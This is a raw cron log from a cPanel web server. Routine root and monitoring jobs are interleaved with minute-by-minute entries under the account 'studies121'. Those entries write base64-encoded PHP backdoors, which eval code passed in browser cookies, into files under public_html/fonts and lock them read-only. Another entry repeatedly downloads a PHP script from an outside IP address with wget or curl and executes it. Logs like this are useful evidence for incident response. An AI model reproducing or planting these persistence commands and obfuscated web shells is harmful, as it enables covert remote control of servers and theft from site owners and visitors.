Aug 30 03:39:01 ip-184-168-122-23 CROND[5863]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 03:39:01 ip-184-168-122-23 CROND[5862]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 30 03:40:01 ip-184-168-122-23 CROND[5965]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 03:40:01 ip-184-168-122-23 CROND[5967]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 03:40:01 ip-184-168-122-23 CROND[5969]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 03:40:01 ip-184-168-122-23 CROND[5971]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 03:40:01 ip-184-168-122-23 CROND[5974]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 03:40:01 ip-184-168-122-23 CROND[5975]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 03:40:01 ip-184-168-122-23 CROND[5976]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 03:40:01 ip-184-168-122-23 CROND[5978]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 03:41:01 ip-184-168-122-23 CROND[6146]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 03:41:01 ip-184-168-122-23 CROND[6150]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 03:41:01 ip-184-168-122-23 CROND[6149]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 03:41:01 ip-184-168-122-23 CROND[6148]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 03:42:01 ip-184-168-122-23 CROND[6237]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 03:42:01 ip-184-168-122-23 CROND[6241]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 03:42:01 ip-184-168-122-23 CROND[6242]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 03:42:01 ip-184-168-122-23 CROND[6239]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 03:42:01 ip-184-168-122-23 CROND[6240]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 03:43:01 ip-184-168-122-23 CROND[6327]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 03:43:01 ip-184-168-122-23 CROND[6326]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 03:43:01 ip-184-168-122-23 CROND[6328]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 03:43:01 ip-184-168-122-23 CROND[6329]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 03:44:01 ip-184-168-122-23 CROND[6427]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 03:44:01 ip-184-168-122-23 CROND[6428]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 03:44:01 ip-184-168-122-23 CROND[6431]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 03:44:01 ip-184-168-122-23 CROND[6432]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 03:44:01 ip-184-168-122-23 CROND[6436]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 03:45:01 ip-184-168-122-23 CROND[6513]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 03:45:01 ip-184-168-122-23 CROND[6515]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 03:45:01 ip-184-168-122-23 CROND[6514]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 03:45:01 ip-184-168-122-23 CROND[6517]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 03:45:01 ip-184-168-122-23 CROND[6516]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 03:45:01 ip-184-168-122-23 CROND[6518]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 03:46:01 ip-184-168-122-23 CROND[6604]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 03:46:01 ip-184-168-122-23 CROND[6607]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 03:46:01 ip-184-168-122-23 CROND[6609]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 03:46:01 ip-184-168-122-23 CROND[6608]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 30 03:46:01 ip-184-168-122-23 CROND[6610]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 03:46:01 ip-184-168-122-23 CROND[6606]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 03:46:01 ip-184-168-122-23 CROND[6611]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 03:47:01 ip-184-168-122-23 CROND[6702]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 03:47:01 ip-184-168-122-23 CROND[6703]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 03:47:01 ip-184-168-122-23 CROND[6706]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 03:47:01 ip-184-168-122-23 CROND[6709]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 03:48:01 ip-184-168-122-23 CROND[6792]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 03:48:01 ip-184-168-122-23 CROND[6794]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 03:48:01 ip-184-168-122-23 CROND[6795]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 03:48:01 ip-184-168-122-23 CROND[6796]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 03:48:01 ip-184-168-122-23 CROND[6799]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 03:49:01 ip-184-168-122-23 CROND[6885]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 03:49:01 ip-184-168-122-23 CROND[6886]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 03:49:01 ip-184-168-122-23 CROND[6887]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 03:49:01 ip-184-168-122-23 CROND[6888]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 03:50:02 ip-184-168-122-23 CROND[7051]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 03:50:02 ip-184-168-122-23 CROND[7054]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 03:50:02 ip-184-168-122-23 CROND[7055]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 03:50:02 ip-184-168-122-23 CROND[7057]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 03:50:02 ip-184-168-122-23 CROND[7052]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 03:50:02 ip-184-168-122-23 CROND[7062]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 03:50:02 ip-184-168-122-23 CROND[7063]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 03:50:02 ip-184-168-122-23 CROND[7064]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 03:50:02 ip-184-168-122-23 CROND[7061]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 03:51:01 ip-184-168-122-23 CROND[7152]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 03:51:01 ip-184-168-122-23 CROND[7154]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
